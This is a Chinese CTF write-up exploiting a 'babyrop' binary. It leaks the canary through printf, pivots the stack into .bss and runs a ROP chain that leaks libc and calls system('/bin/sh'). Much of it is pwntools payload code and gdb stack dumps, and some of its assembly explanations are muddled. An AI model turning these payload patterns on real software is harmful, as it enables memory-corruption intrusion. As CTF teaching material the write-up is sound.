ROP是一种技巧,我们对execve函数进行拼凑来进行system /bin/sh。栈迁移的特征是溢出0x10个字符,在本次getshell中,还碰到了如何利用printf函数来进行canary的泄露。
目标:
ROP chain
首先我们:
ROPgadget --binary babyrop
bss段地址:
readelf -S babyrop
找到rdi的地址:
我们用ida查看反汇编,圈中的是出错情况下的处置,我们暂时可以忽略。
我们看到for循环可以输入25个字符,我们先输入0x18个字符,也就是24个字符,然后如果在输入一个字符就可以看到printf函数后面跟着一个%s,且printf函数结束的标志是碰到x00,并且canary的的末尾标志也是x00。
小端存储,我们首先用24个字符a对其他字符空间进行填充,然后用字符'y'把canary中的x00进行覆盖,这样我们就在y这个点时进行recv,之后就可以泄露canary的内容。
具体是这样的:
canary=u64(io.recv(7).rjust(8,'x00'))
然后再用x00对其进行填充:
此题的第二个坑点是在password这里,可以看到这里使用scanf函数来进行接受,所以我们只能填写地址。
可以看到这个地址存储password:
我们进入vuln函数进行查看:
发现是可以多读0x10个字符的,这就是典型的栈迁移了:
gdb.attach(io)
io.send('a'*0x18+p64(canary)+p64(0x601928)+p64(0x40072e))
gdb.attach(io)
io.send('a'*0x18+p64(canary)+p64(0x601940)+p64(0x40072e))
gdb.attach(io)
我们在这里下三个断点:
第一个attach代表的是没有迁移之前的,
可以看到RBP和RSP的情况,
可以看到现在的RBP已经变为0x601928。
这里插入一下POP的汇编形式:
mov esp,ebp
add $8,esp
首先我们把ebp的值给esp,然后ebp+8,因为这里是64位程序。
这里我们再看下一个attach:
可以看到新栈已经建立成功了。
然后就是经典的rop了,寻找libc基址:
io.send(p64(canary)+p64(0x601940)+p64(rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(0x400717))
#p64(0x601940) is fill byte
libc_base=u64(io.recvuntil("x7f")[-6:].ljust(8,"x00"))-libc.sym['puts']
system=libc_base+libc.sym['system']
hh=libc_base+libc.search('/bin/sh').next()
最后我们开始写利用新栈:
system bin/sh
可以看到我们就拿到shell了。
一点解释
栈迁移需要注意的点就是:
io.send('a'*0x18+p64(canary)+p64(0x601928)+p64(0x40072e))
io.send('a'*0x18+p64(canary)+p64(0x601940)+p64(0x40072e))
假如我们栈空间提升0x10:
我们需要先把buf的内容填充,然后就到了rsp,pop 指令的意思是把rsp地址的内容给rip。
可以看到此时栈的情况是这样的:
0x40072e是ret的地址:
0x0000000000400744是返回地址:
0xcd95d1462e82fe00是canary的值
0x601950是填充字
0x400913是rdi的值,也就是exec函数的的第一个参数。
现在的栈空间是这样的:
然后就开始rop
如果我们直接提升0x20的空间就不会有这种事情了,我们就可以直接rdi+rop:
io.send('a'*0x18+p64(canary)+p64(0x601928)+p64(0x40072e))
io.send('a'*0x18+p64(canary)+p64(0x601950)+p64(0x40072e))
io.send(p64(rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(0x400717))
但是这个rbp和rsp的空间是要试着找的,如果bss段有不能覆盖的地址,就会报错。
io.send('a'*0x18+p64(canary)+p64(0x601928)+p64(0x40072e))
io.send('a'*0x18+p64(canary)+p64(0x601950)+p64(0x40072e))
io.send(p64(rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(0x400717))
这样也能够getshell。
另一点解释
call read@plt之前栈中的情况:
我们s步入,可以发现rbp和rsp的值已经改变了:
0x601930: 0x0000000000400744 0x0000000000000000
0x601940: 0x0000000000000000 0x0000000000000000
0x601950: 0x0000000000000000 0x0000000000000000
0x0000000000400744是执行完read函数要去的地方,也就是nop(这个是无所谓的)
可以看到在pop 和ret之前rbp和rsp栈空间又发生了改变,而且此时rip指向了rdi的地址:
红色框是栈空间的大小,可以看到此时存放的两个地址的意义是:
p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(0x400717))组成了rop。
下一步我们执行pop+ret就跳到了rdi所指在的地方,然后利用rop进行system /bin/sh。